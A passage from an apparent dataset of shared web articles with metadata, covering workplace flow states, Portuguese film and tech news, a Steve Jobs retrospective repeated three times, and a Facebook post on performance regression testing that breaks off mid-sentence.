years researching flow states. He publishes a ton of papers. He does some consulting. He teaches at Berkeley. He records a TED talk: He writes some books. Here's a good one: But employers, for the most part, don't listen. They continue to cram their teams together into noisy open plan offices. They continue to pepper their teams' days with meetings. They expect their teams to be responsive to emails or Slack, further dashing hopes of ever reaching a flow state and getting some real work done. Do you think Tolstoy could have written War and Peace in an open plan office? Do you think Mozart could have composed The Marriage of Figaro in between stand-ups and one-on-ones? Do you think Torvalds could have designed the Linux Kernel with Slack notifications popping up every 15 seconds? How to live asynchronously Here are three things you can do reclaim your flow state. I'll assume that, like most people, you're crazy busy. You're skeptical of the gazillions of productivity tips you see here on Medium. And you probably don't greet major lifestyle changes with open arms. So I'll introduce these in increasing order of commitment required. One Dalí Clock means you can do it immediately after finishing this article. Four Dalí Clocks means you'll need a full-blown action plan to make the leap. Tip #1: Turn off as many notifications as you can (difficulty: 1 Dalí Clock) Remember when Microsoft Outlook added that feature where it showed you a notification every time you received an email? You shut that off, right? Good. Now shut off pretty much every other notification on your phone and computer. Do you really need to be notified right this instant that a new podcast will be available during your commute home tonight? Or that your aunt liked the photo you took of your lunch two days ago? The only notification you really need is that old standby from 100 years ago: the phone ring. Because if it's really important, people will call. I can't find you in the food court. Call. Your kid threw up at school. Call. The servers are melting down. Call. Some of my friends will still leave their text message notifications on (or their WhatsApp notifications when they're overseas). I did this for a few years, too. But I turned these off a few months ago. So far, planes have not fallen from the sky. As a bonus, when people expect to hear back from you within 24 hours - rather than 10 minutes - they take the time to actually think about what they want to say to you. No more ""hey there"" texts. Or that old favorite: ""can I ask you a question?"" By the way, just for fun, here's the extreme opposite of no notifications: Tip #2: Defend your time by dodging meetings (difficulty: 2 Dalí Clocks) Next time you sit in a meeting, do a quick experiment. Write down all the important things discussed that couldn't have just been mentioned in an email thread. There may be a few. But were those things really worth the 30 to 60 minutes you just spent away from your work? Email brings out the Hemingway in all of us. When someone can't get their point across in an email, it just means they're going to have an even harder time explaining it in person. The next time someone writes you asking if you have time to meet, try responding: ""What do you want to talk about?"" They'll write you back with an answer. Then respond: ""OK - what are your thoughts on that?"" They'll write you back with an answer. Then respond with your own thoughts on the matter if necessary. Or just say: ""OK - sounds good."" Phew. Meeting dodged. Sometimes you get that message from a cheerful stranger on LinkedIn: ""Let's grab coffee and catch up!"" Or that message from a coworker: ""Can I swing by your desk and pick your brain?"" If these people valued your time, they would just tell you what they wanted right up front. But in many cases, they don't know exactly what they want. Don't commit your scarce time to meet with them unless it's clear that they know what they want, and they're willing to tell you before hand. A lot of people may bristle at you not just accepting their meeting request. Be polite and patient, and tell them you're happy to answer their questions right here - in the email chain, or instant message client - wherever here may be. Your time is your most valuable asset. Be protective of it. Don't let others thoughtlessly waste it. Tip #3: Ask for a private office, or to work from home (difficulty: 4 Dalí Clocks) There are tremendous benefits to working remotely. When you have 4 minutes, read this article: A lot of the 13% productivity gain you get when you work remotely is because you're not in a noisy office. If you can't work remotely - or if you are one of the many people who enjoys the energy of the workplace - ask for a private office. If you value your productivity (and your sanity), consider prioritizing this during your job offer negotiation , or the next time you discuss a raise with your boss. Time to think. Time to create. Time enough at last. In closing, I strongly recommend this book by one of the founders of Pixar. You can learn about their experiments with improving their teams' productivity and creativity. Among other things, it explores the evolution of their meetings, their use of open plans, and their transition back to mostly private offices. So what are some ways you keep things asynchronous? Do you have any tips for us? Share them with everyone in the comments section below. Oh, and if you liked this, click the �� below. Follow me for more articles on technology.",en
1475616380,CONTENT SHARED,1233935898842140014,-1130272294246983140,3858287410798938499,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://anticast.com.br/2016/07/feitoporelas/feito-por-elas-01-agnieszka-holland/,Feito por Elas #01 Agnieszka Holland | AntiCast,"Olá, ouvintes! Essa é primeira edição do podcast Feito por Elas , que tem por objetivo apreciar, analisar e divulgar filmes dirigidos por mulheres. Nesse primeiro programa, abordamos a obra de Agnieszka Holland , cineasta polonesa cuja ampla filmografia constantemente aborda a temática da Segunda Guerra Mundial. Entre seus filmes, destacamos Colheita Amarga (1985), Filhos da Guerra (1990) e In Darkness (2011), todos discutindo questões referentes à população polonesa e a ocupação alemã. Além deles, recordamos de outras obras, como o clássico da sessão da tarde O Jardim Secreto (1993) o drama O Segredo de Beethoven (2006) e e a série The Killing . O programa é apresentado por Angélica Hellish do Masmorra Cast , Isabel Wittmann do blog Estante da Sala e Cinema em Cena e também Stephania Amaral do Cinema em Cena e Instagram Discos da Ste . Edição: Angélica Hellish Feedback: [email protected] Mencionados: Trilogia das Cores de Krzysztof Kieslowski Podcast sobre a Trilogia da Guerra de Andrzej Wajda Agradecimentos: A Thiago Miro do Mundo Podcast pelo suporte para criação desse projeto. À amiga Mey Linhares por ""emprestar"" a sua bela voz para a nossa vinheta. Ao amigo Marcelo Damm do "" Quem não sabe escrever desenha "" pela ajuda na criação do logotipo para o Feito por Elas. Obrigada Marcelo! <3",pt
1475642769,CONTENT SHARED,-8202212195240926680,8968131284214320024,5791257014948859233,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",NSW,AU,HTML,http://www.afr.com/street-talk/covermore-to-raise-733-million-to-buy-travelex-insurance-unit-20160926-grp440,Cover-More to raise $73.3 million to buy Travelex insurance unit,"More details are emerging about Cover-More's plans to acquire Travelex's insurance business, as first revealed by Street Talk on Monday night. The acquisition will be funded by a fully underwritten, pro-rata, accelerated non-renounceable entitlement offer to raise $73.3 million. Macquarie Capital is sole lead manager on the deal which launched on Tuesday. The balance will be funded through the drawdown of a corporate bank debt facility. The acquisition is worth $US105 million ($138 million) and between $0.5 million and $1.5 million in cost synergies are expected to be generated. It's understood the company's pitch to investors notes Travelex Insurance Services (TIS) is a highly complementary business to Cover-More, being the third largest retail travel specialist with a comprehensive suite of products and over 3,400 distribution partners Cover-More and its advisers told fund managers the purchase grants immediate scale to Cover-More's US operations, providing a platform for further expansion across North America (including in Canada and Mexico) and eliminating start up costs It also offers new opportunities across Cover-More's go-to market verticals of Travel & Aviation, Financial Institutions & Direct and Medical Assistance, and significant scope for increased direct distribution utilising Cover-More's technology platform and TIS' brand and reputation",en
1475672589,CONTENT SHARED,8748370453256790422,6571439471025671820,-4183292572352770885,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.adweek.com/news/technology/voice-search-could-become-mainstream-within-next-5-years-173805,Voice Search Could Become Mainstream Within the Next 5 Years,"Even though people are pretty accustomed by now to talking into their smartphones, smart watches and other devices like Amazon Echos, voice search is still somewhat of a novelty. However, the role it plays in the overall ecosystem of search does seem to be growing. According to Christi Olson, the search evangelist for Microsoft Bing Ads, voice queries now make up 25 percent of Bing mobile searches and 5 percent of total searches on any given month. And while that number might still seem small, she said voice search could become much more mainstream within the next five years. Olson, speaking on Thursday at Advertising Week, said brands should start thinking about how their online presence matches with natural language rather than just written words. Companies should begin optimizing their websites so that when voice search reaches critical mass, brands aren't forced to play catch-up, she said. She said she expects the adoption curve for voice could be as soon as five years. ""When you look at paid search and organic search, businesses tend to lag behind with these new technologies,"" Olson said. ""And so when you look at when the search engines come up with something new, we can give guidelines and guidance to think about how to adjust your content."" That might sound like an aggressive time line. However, personal assistants like Apple's Siri and Amazon's Alexa, which both use Bing search, are gaining popularity. Hardware specifically centered around voice assistants, such as the voice-operated Amazon Echo powered by Alexa, are also becoming increasingly ubiquitous in homes around the world. In fact, this summer, Amazon said it's sold more than 3 million Echo devices since they launched in late 2014. And then of course there's Google, which according to comScore still controls around two-thirds of the search market. Earlier this year, the search-engine giant debuted Home, Google's own voice-operated hardware, during its developer conference. At the time, Google CEO Sundar Pichai said it's like ""having a voice-activated remote control"" for both entertainment and tasks. Geoffrey Colon, product marketing manager for Bing Ads said that while older people might be comfortable just typing into their smartphone, new technology often is aimed at younger users. (He mentioned Snapchat as one example.) Colon cited a quote from the writer and futurist Alvin Toffler: ""The illiterate of the 21st century will not be those who cannot read and write, but those who cannot learn, unlearn, and relearn."" ""I never was comfortable speaking into my phone,"" Colon said. ""But my girls? That's all they know how to do, because they don't know how to type yet-they're 4 and 6-but they can talk. So I think many of these things the adoption will actually take off because of the next generation."" Microsoft doesn't yet have a time line for monetizing voice search, but Colon said advertising products could be introduced at some point. He referenced the early days of online search, when everything began as organic before paid search was introduced. However, voice search could happen faster than that, perhaps in a few years rather than a decade. ""I think when you look at how experiences work, we always try to figure out how to get technology to work in a way that's relevant,"" Colon said. ""So I think right now we're in an area of: Let's see how voice search actually works, and get it to work at a good sort of rate before we move into how do we monetize it.""",en
1475673497,CONTENT SHARED,5087084654882097891,3609194402293569455,-8059717165132702307,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://googlediscovery.com/2016/10/04/google-pixel-o-primeiro-smartphone-feito-pelo-google/,"Google Pixel, o primeiro smartphone feito pelo Google | Google Discovery","O Google anunciou o Pixel, primeiro smartphone feito pelo Google. O dispositivo chega em dois tamanhos de tela - o Pixel, de 5 polegadas, e o Pixel XL, com visor de 5,5 polegadas. Ambos os modelos contam com memória de 32GB ou 128GB e em três cores: Very Silver, Quite Black e Really Blue - esta última, em edição limitada, à venda somente nos Estados Unidos. Pixel possui uma câmera de 12MP - a melhor câmera entre os smartphones atuais - com capacidade para tirar fotos em qualquer condição de luz, armazenamento ilimitado e gratuito do Google Fotos. Ele oferece ainda sensor de impressão digital, posicionado na parte de trás do celular, para acesso rápido a todos os seus aplicativos, textos e emails. Uma vez desbloqueado, basta deslizar o dedo para baixo sobre o sensor para ver todas as notificações. Outra novidade no Pixel está a profunda integração com o Google Assistente, que estabelece um diálogo constante entre você e o Google, para entender seu mundo e ajudar você a realizar tarefas. A empresa ainda destacou um trabalho especial na bateria do Pixel. Em apenas 15 minutos, o carregador USB Type-C completa a carga do Pixel e garante até 7 horas de duração da bateria. O Pixel estará à venda nos Estados Unidos, Canadá, Reino Unido, Alemanha, Austrália (com pré-venda dia 4/10 e nas lojas dia 20/10) e Índia (este último, em novembro). Ainda não há previsão de chegada ao Brasil. Preço nos EUA: o modelo de 5"" 32GB custa US$649, 128GB por US$749 e 5.5"" 32GB por US$769 e 128GB por US$869.",pt
1475675925,CONTENT SHARED,-8996656559398843485,3609194402293569455,-8059717165132702307,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/67426/social-media/esse-bot-do-facebook-messenger-te-ajuda-estudar-para-o-enem/,Esse bot do Facebook Messenger te ajuda a estudar para o ENEM,"Quem está no ritmo de estudos para o ENEM agora não tem mais desculpas para ficar perdendo tempo enquanto está na fila do banco ou espera pelo ônibus. O é um chatbot do Facebook que contém 1200 questões das edições anteriores do exame e que são aplicadas aleatoriamente para o usuário na tela do celular ou no desktop. Basta escolher a área de interesse e pronto, bom simulado. Também é possível alterar os anos das questões e os temas, todos pelos comandos do bot. Segundo o co-criador Leandro Latini , ele e o amigo Bruno Nunes queriam desenvolver um chatbot focado em utilidade pública. No futuro, segundo a dupla, eles pretendem expandir a quantidade de questões, incluir materiais de outros processos seletivos, como concursos públicos e vestibulares. Junto a isso, vem o desafio de encontrar parceiros para deixar a ferramenta no ar, já que mais de 110 mil mensagens já foram trocadas com robô. O exame nacional do Ensino Médio, por sinal, acontecerá esse ano nos dias 05 e 06 de novembro . Para saber se você precisa ou não dar mais uma estudada, você pode testar o Mr. Enem pela página oficial do chatbot no Facebook . O desafio é tentar se concentrar só no bot, sem escapar para dar uma olhada no resto da rede social. Quem quiser só ver o Messenger pode acessar pelo endereço m.me/mr.enem .",pt
1475680493,CONTENT SHARED,-2164628725543527116,3609194402293569455,-8059717165132702307,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/view-from-the-valley/computing/software/google-science-fair-finalists-turn-to-machine-learning-to-predict-breast-cancer-risk-find-lost-objects,"Machine Learning Tools Help Google Science Fair Finalists Find Lost Objects, Predict Breast Cancer Risk","Photo: Tekla Perry Anika Cheerla's submission to the Google Science Fair used machine learning to improve the accuracy of breast cancer risk prediction This week, 16 teams of teens from around the world assembled in Mountain View to demonstrate the results of research projects at the Google Science Fair. You can view summaries of all the projects here . I've been attending these finals for several years now and am always impressed with how creatively the teens use the technologies of today. And this year was no exception: machine learning is hot in the tech world, and the teens are embracing it. Consider 14-year-old Anika Cheerla's submission . A Silicon Valley girl from Cupertino, Calif., Cheerla was curious about the current state of breast cancer prediction, and discovered that prediction methods using digital mammograms are just 64 percent effective, typically simply considering the percentage of dense tissue in a breast. She developed software that considers a broader range of features, including dense and non-dense regions, and, using a database of digital mammograms from Stanford University, built and began training classifiers to use in predicting risk. She discovered that the area closest to the nipple has the highest predictive power, and her system can take that into account. Right now her system is about 84 percent effective. She is hoping to improve her system by training it on more images and adding additional machine learning capabilities. Credit Google Science Fair finalist Shriank Kanapurti went through several iterations of his system designed to keep track of objects around you-and help you find your lost keys. He tested the system on his grandfather. Shriank Kanapurti, a 16- year-old from Bangalore, India, turned to machine learning to help the forgetful find misplaced objects. His approach, called KeepTab , involves a wearable camera constantly recording images of what's in front of you, and designed software that extracts the objects from the images and figures out what they are in relation to other objects in your environment. To date he says he has trained the software on 600,000 images. He uses Google-Now's natural language software to communicate with his system-you can say ""Locate my keys,"" and it will respond, ""Your keys are on the television"". He'd like to eventually see his software run with less obtrusive wearables, like a future version of Google Glass.",en
1475695544,CONTENT SHARED,2515874237935914763,3915038251784681624,-4409424826056149730,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.thoughtworks.com/pt/clients/woolworths,Woolworths,"A Woolworths é a maior cadeia de supermercados e a mais popular cadeia de comida fresca da Austrália. Empregando mais de 114.000 pessoas, eles proporcionam aos seus clientes serviço de alto nível, variedade, valor e comodidade. Vislumbrando uma oportunidade para melhor atender aos seus clientes em suas lojas de pequeno porte, eles buscavam encontrar uma forma para testar e validar suas ideias antes de fazer um grande investimento. Em parceria com a ThoughtWorks, eles montaram um laboratório de inovação dentro da loja. Essa nova forma de trabalhar envolve técnicas rápidas de prototipagem que ajudam a dar vida a um novo conceito em um curto espaço de tempo, habilitando a Woolworths a testar novas ideias com seus clientes, enquanto busca feedback em tempo real. Os testes dentro da loja ajudaram a discernir sobre o comportamento de compra dos clientes em lojas de pequeno porte, que é bastante diferente do comportamento daqueles que compram em supermercados padrões. Ao descobrir que as filas e os pagamentos não eram um problema nessa loja, a equipe decidiu ""pivotar"". O frango assado orgânico é um dos itens mais vendidos na loja de pequeno porte; assim a equipe identificou uma oportunidade para inspirar os consumidores com ideias para refeição que complementariam os itens prontos para levar. O conceito vencedor foi um ""planejador de refeições"" na loja. O protótipo em funcionamento apresentava receitas em um iPad. Uma vez que o consumidor escolhia a receita, os ingredientes necessários para a refeição selecionada eram claramente iluminados por luzes de LED nas prateleiras. Colocar todos os ingredientes em uma única prateleira ajudou os consumidores a reduzir significativamente o tempo de compra. ""Não teria como isso ter acontecido sem a ThoughtWorks. Nós acabamos chegando à uma solução que não era o que supomos quando iniciamos. Em 5 dias concluímos um protótipo de trabalho de uma nova oferta de serviço que nos ajudou a encantar nossos clientes."" - Lee Venaruzzo, Líder de Transformação Ágil, Woolworths O laboratório de inovação ajudou a Woolworths a validar uma nova oferta de serviço que os consumidores usariam. Além de alcançar algo importante para os clientes, a Woolworths adotou uma nova abordagem para a inovação que os ajudaria, de forma barata e reprodutível, a trazer novos conceitos ao mercado - ao mesmo tempo, superando as expectativas de seus clientes. Confira o vídeo para ver o laboratório de inovação em ação.",pt
1475699446,CONTENT SHARED,-1606909838151129701,-6316613156648676087,7507700399588489550,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.finextra.com/pressarticle/66447/accenture-and-adboe-team-on-customer-enegagement?utm_medium=rss&utm_source=finextrafeed,Accenture and Adboe team on customer enegagement,"Source: Accenture Accenture Interactive announced that it has teamed with Adobe to launch new digital marketing solutions for financial services organizations in North America and Europe. The newly released solutions are designed to help financial services clients attract, engage and retain high-value customers by creating relevant digital experiences that grow sales and revenue while improving retention and loyalty. The solutions will help financial services organizations quickly roll out digital experiences aimed at onboarding and activating high-value customers through engaging experiences. The solutions built on Adobe's Marketing Cloud include: Customer Acquisition Solution for Retail Banking, Property and Casualty Insurance, and Life Insurance: The acquisition solution leverages consumer behavior and preference profiles to create cross-channel experiences with real-time messages and offers to transform high-quality prospects into profitable customers. Customer Activation Solution for Retail Banking, Property and Casualty Insurance, and Life Insurance: This solution includes intuitive and personalized web and mobile onboarding methodology and technology enablers to maximize account opening success. It also includes personalized customer engagement for newly activated clients and tailored offers that boost customer satisfaction and loyalty while differentiating the brand. ""Our clients are constantly looking for vertical-specific solutions that will be meaningful and useful for their customers,"" said Glen Hartman, senior managing director for Accenture Interactive North America. ""Many financial services organizations are vying to drive greater innovation and transformation in their digital marketing initiatives - these solutions have the ability to be rolled out quickly and drive desired business and customer outcomes."" Last year, Accenture Interactive and Adobe announced the expansion of their global alliance to create and deliver digital marketing solutions for life sciences, healthcare and financial services organizations. Under this three-year agreement, Accenture Interactive and Adobe committed to develop joint solutions for these industries to drive greater marketing performance and efficiencies. The solutions for financial services are the first of the identified verticals to launch. ""Through Adobe's alliance relationship with Accenture Interactive, we now have the ability to better create and deliver tailored digital marketing solutions for financial services organizations,"" said Garrett Ilg, Adobe's SVP, Global Enterprise Operations and President of EMEA. ""By combining Accenture Interactive's strong marketing and industry expertise with the deep technology capabilities of Adobe Marketing Cloud, these digital solutions will provide the personalized customer experiences clients require, to better compete in today's digital economy."" Adobe named Accenture Interactive as the 2015 Marketing Cloud Partner of the Year for the Americas and EMEA, which recognizes Accenture's commitment to a cloud-first agenda and the collaborative and successful work the two companies achieved together.",en
1475711675,CONTENT SHARED,5817939718364925129,-709287718034731589,5564172872603234737,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.cultofmac.com/447947/today-apple-history-steve-jobs-passes-away/,Today in Apple history: Steve Jobs passes away | Cult of Mac,"A portrait of Steve created by artist Jeremy Martin on his iPad. Portrait: Jeremy Martin October 5, 2011: Steve Jobs dies at the age of 56, in his home in Palo Alto, California. Jobs' official cause of death is respiratory arrest arising from complications related to a rare type of pancreatic cancer, with which he was diagnosed eight years earlier. He officially stepped down from his role as Apple's CEO in August, 2011 . An unsentimental man With so much written about Jobs in the years since he died, and so much material to write about, it's impossible to summarize Jobs' life in a short article. To me, one of the most notable things about his death was how much it meant to people all over the world. If anyone thought of tech as a niche hobby in 2011, they can't have been thinking that after the public outpouring of grief which met the news about Steve. Steve Jobs himself was not sentimental. When he left Apple in the mid-1980s, he didn't return to clear his office, which meant personal mementos like his first Apple stock certificate , which had hung on his wall, being tossed in the trash. Shortly after he returned to the company he co-founded in the late 1990s, he gave Apple's historical archive - comprising records that management at Apple had kept since the mid-1980s - to Stanford University Libraries because he didn't want the company to be fixated on the past. A few years after that, in 1996, an ex-Apple employee named David Pakman who had worked there from 1991 through 1997 emailed Steve to suggest staging a celebratory event for Apple's thirtieth birthday. He received a simple answer: David, Apple is focused on the future, not the past. -Steve This attitude extended to Jobs' view of himself - and his own legacy. He apparently "" made his view ... very clear "" that Apple shouldn't name its new Spaceship campus - for which he made one of his last public appearance speaking in favor of - after him. He also spent much of his latter tenure at Apple establishing a company that could run without his presence. As Tim Cook told the authors of the biography Becoming Steve Jobs , ""[Steve] didn't want us asking, 'What would Steve do?' He abhorred the way the Disney culture stagnated after Walt Disney's death, and he was determined for that not to happen at Apple."" Nor was he under any illusions that he was creating work that people would obsess over for years after he was gone, despite the fact that he was a perfectionist for getting them right during his life. In a 1994 interview, when Jobs was 39, he told the interviewer that, ""All the work that I have done in my life will be obsolete by the time I am 50."" Whether he was right or not (and, in technical terms at least, he was), this was the way he felt. Life after Steve All of which goes some way to saying why it was so heartening that Jobs' death received so much attention. He wasn't the richest technology CEO to die, but it showed that his life - faults and all - had meant a lot to a great number of people. Jobs had helped bring about products that people cared about, and in turn they cared about him. A lot has changed at Apple since Jobs died, which is exactly what he made clear he wanted to happen. Gauntlets he laid down about never wanting to see a stylus on an iPad have been, wonderfully, proved wrong with the Apple Pencil. As someone who always pushed engineers to prove him wrong, I'd have to think Jobs couldn't have been any happier with the result. We're also well beyond the need for the Mac to be a "" digital hub ,"" and Apple is embracing environmentalism and other issues with a passion Jobs didn't exhibit for them. But it's still the same company Jobs imbued with a strong vision back in the 1980s (and arguably the late 70s), and which it still personifies today. And, hey, the product lines he set in motion continue to be extremely profitable - as do the movies made by Pixar, which Jobs helped bring to prominence. What are your resounding memories of Steve Jobs? Where were you when you heard he had passed away? What was his single biggest achievement, in your view? Leave your comments below.",en
1475711733,CONTENT REMOVED,5817939718364925129,-709287718034731589,5564172872603234737,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.cultofmac.com/447947/today-apple-history-steve-jobs-passes-away/,Today in Apple history: Steve Jobs passes away,"A portrait of Steve created by artist Jeremy Martin on his iPad. Portrait: Jeremy Martin October 5, 2011: Steve Jobs dies at the age of 56, in his home in Palo Alto, California. Jobs' official cause of death is respiratory arrest arising from complications related to a rare type of pancreatic cancer, with which he was diagnosed eight years earlier. He officially stepped down from his role as Apple's CEO in August, 2011 . An unsentimental man With so much written about Jobs in the years since he died, and so much material to write about, it's impossible to summarize Jobs' life in a short article. To me, one of the most notable things about his death was how much it meant to people all over the world. If anyone thought of tech as a niche hobby in 2011, they can't have been thinking that after the public outpouring of grief which met the news about Steve. Steve Jobs himself was not sentimental. When he left Apple in the mid-1980s, he didn't return to clear his office, which meant personal mementos like his first Apple stock certificate , which had hung on his wall, being tossed in the trash. Shortly after he returned to the company he co-founded in the late 1990s, he gave Apple's historical archive - comprising records that management at Apple had kept since the mid-1980s - to Stanford University Libraries because he didn't want the company to be fixated on the past. A few years after that, in 1996, an ex-Apple employee named David Pakman who had worked there from 1991 through 1997 emailed Steve to suggest staging a celebratory event for Apple's thirtieth birthday. He received a simple answer: David, Apple is focused on the future, not the past. -Steve This attitude extended to Jobs' view of himself - and his own legacy. He apparently "" made his view ... very clear "" that Apple shouldn't name its new Spaceship campus - for which he made one of his last public appearance speaking in favor of - after him. He also spent much of his latter tenure at Apple establishing a company that could run without his presence. As Tim Cook told the authors of the biography Becoming Steve Jobs , ""[Steve] didn't want us asking, 'What would Steve do?' He abhorred the way the Disney culture stagnated after Walt Disney's death, and he was determined for that not to happen at Apple."" Nor was he under any illusions that he was creating work that people would obsess over for years after he was gone, despite the fact that he was a perfectionist for getting them right during his life. In a 1994 interview, when Jobs was 39, he told the interviewer that, ""All the work that I have done in my life will be obsolete by the time I am 50."" Whether he was right or not (and, in technical terms at least, he was), this was the way he felt. Life after Steve All of which goes some way to saying why it was so heartening that Jobs' death received so much attention. He wasn't the richest technology CEO to die, but it showed that his life - faults and all - had meant a lot to a great number of people. Jobs had helped bring about products that people cared about, and in turn they cared about him. A lot has changed at Apple since Jobs died, which is exactly what he made clear he wanted to happen. Gauntlets he laid down about never wanting to see a stylus on an iPad have been, wonderfully, proved wrong with the Apple Pencil. As someone who always pushed engineers to prove him wrong, I'd have to think Jobs couldn't have been any happier with the result. We're also well beyond the need for the Mac to be a "" digital hub ,"" and Apple is embracing environmentalism and other issues with a passion Jobs didn't exhibit for them. But it's still the same company Jobs imbued with a strong vision back in the 1980s (and arguably the late 70s), and which it still personifies today. And, hey, the product lines he set in motion continue to be extremely profitable - as do the movies made by Pixar, which Jobs helped bring to prominence. What are your resounding memories of Steve Jobs? Where were you when you heard he had passed away? What was his single biggest achievement, in your view? Leave your comments below.",en
1475711742,CONTENT SHARED,2628816849077589497,-709287718034731589,5564172872603234737,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.cultofmac.com/447947/today-apple-history-steve-jobs-passes-away/,Today in Apple history: Steve Jobs passes away | Cult of Mac,"A portrait of Steve created by artist Jeremy Martin on his iPad. Portrait: Jeremy Martin October 5, 2011: Steve Jobs dies at the age of 56, in his home in Palo Alto, California. Jobs' official cause of death is respiratory arrest arising from complications related to a rare type of pancreatic cancer, with which he was diagnosed eight years earlier. He officially stepped down from his role as Apple's CEO in August, 2011 . An unsentimental man With so much written about Jobs in the years since he died, and so much material to write about, it's impossible to summarize Jobs' life in a short article. To me, one of the most notable things about his death was how much it meant to people all over the world. If anyone thought of tech as a niche hobby in 2011, they can't have been thinking that after the public outpouring of grief which met the news about Steve. Steve Jobs himself was not sentimental. When he left Apple in the mid-1980s, he didn't return to clear his office, which meant personal mementos like his first Apple stock certificate , which had hung on his wall, being tossed in the trash. Shortly after he returned to the company he co-founded in the late 1990s, he gave Apple's historical archive - comprising records that management at Apple had kept since the mid-1980s - to Stanford University Libraries because he didn't want the company to be fixated on the past. A few years after that, in 1996, an ex-Apple employee named David Pakman who had worked there from 1991 through 1997 emailed Steve to suggest staging a celebratory event for Apple's thirtieth birthday. He received a simple answer: David, Apple is focused on the future, not the past. -Steve This attitude extended to Jobs' view of himself - and his own legacy. He apparently "" made his view ... very clear "" that Apple shouldn't name its new Spaceship campus - for which he made one of his last public appearance speaking in favor of - after him. He also spent much of his latter tenure at Apple establishing a company that could run without his presence. As Tim Cook told the authors of the biography Becoming Steve Jobs , ""[Steve] didn't want us asking, 'What would Steve do?' He abhorred the way the Disney culture stagnated after Walt Disney's death, and he was determined for that not to happen at Apple."" Nor was he under any illusions that he was creating work that people would obsess over for years after he was gone, despite the fact that he was a perfectionist for getting them right during his life. In a 1994 interview, when Jobs was 39, he told the interviewer that, ""All the work that I have done in my life will be obsolete by the time I am 50."" Whether he was right or not (and, in technical terms at least, he was), this was the way he felt. Life after Steve All of which goes some way to saying why it was so heartening that Jobs' death received so much attention. He wasn't the richest technology CEO to die, but it showed that his life - faults and all - had meant a lot to a great number of people. Jobs had helped bring about products that people cared about, and in turn they cared about him. A lot has changed at Apple since Jobs died, which is exactly what he made clear he wanted to happen. Gauntlets he laid down about never wanting to see a stylus on an iPad have been, wonderfully, proved wrong with the Apple Pencil. As someone who always pushed engineers to prove him wrong, I'd have to think Jobs couldn't have been any happier with the result. We're also well beyond the need for the Mac to be a "" digital hub ,"" and Apple is embracing environmentalism and other issues with a passion Jobs didn't exhibit for them. But it's still the same company Jobs imbued with a strong vision back in the 1980s (and arguably the late 70s), and which it still personifies today. And, hey, the product lines he set in motion continue to be extremely profitable - as do the movies made by Pixar, which Jobs helped bring to prominence. What are your resounding memories of Steve Jobs? Where were you when you heard he had passed away? What was his single biggest achievement, in your view? Leave your comments below.",en
1475717428,CONTENT SHARED,-847494979958007433,-8020832670974472349,-7972832874204207998,Android - Native Mobile App,SP,BR,HTML,https://code.facebook.com/posts/1368798036482517/browserlab-automated-regression-detection-for-the-web,BrowserLab: Automated regression detection for the web,"Several years ago, Facebook was largely rendered server-side, and there was only a small amount of JavaScript on the site. To understand loading time, we could apply simple tools that focused solely on server performance. Today, we face very different challenges. Facebook has become increasingly interactive, which has motivated the transition to powerful client-side rendering frameworks like React. Time spent in browser rendering and scripting has grown to become a major bottleneck in loading facebook.com - at the beginning of 2016, we found that the majority of load time was spent on the client. To solve this problem, we set out to build a system capable of detecting changes in performance that can run on any commit to automatically prevent client regressions from shipping to production. Today that system is known as BrowserLab, and it automatically analyzes the performance of every code change made by engineers at Facebook. Tiny regressions can add up quickly when working at Facebook's scale, where there are thousands of commits each day. BrowserLab catches even the smallest regressions that engineers write - as small as 20 ms - and ensures that the site continues to load quickly. Ever since we introduced the system, it has caught regressions each week and helped engineers identify optimizations to remove over 350 ms from every page load. Below we'll share the systems and methods we applied to build BrowserLab, which we hope will help others build systems to optimize other sites on the web. Building BrowserLab In our first attempt at building this system, we deployed internal copies of Facebook with and without the specified commit, then used WebDriver to start a series of Chrome instances to load News Feed and collect timing metrics. Unfortunately, such a simple system suffered from extremely high variance in the collected metrics. Average measurements were accurate only to 500 ms, meaning we could detect only the largest, most obvious regressions and optimizations. It was clear that we needed to take a more sophisticated approach and dig deeper to understand sources of noise and control them. We began to search for possible sources of noise in our experimental setup. We applied every tool at our disposal to compare runs - we gathered detailed traces using Chrome's tracing APIs, took automated screenshots, generated diffs of DOM contents, and added server-side instrumentation to compare entry points into JavaScript code. Our analysis identified several sources of noise: Environment: Both the client and web server are expected to add some amount of variance due to unpredictability of hardware and software. Examples include seek time for disk reads and writes, background processes causing CPU contention, and network congestion. We aimed to control for as many sources of environment noise as possible. Data: Content on Facebook is highly dynamic. If you constantly refresh facebook.com, you'll see changes in News Feed stories, new sidebar content, and Like counts increasing. We need to ensure that data does not change between iterations of our experiment and that data is consistent between control and treatment web servers. Code non-determinism: A given page load on Facebook is not completely deterministic. There are elements of ranking that incorporate randomness as well as sampling applied for time consuming logging operations. This randomness can take place on both 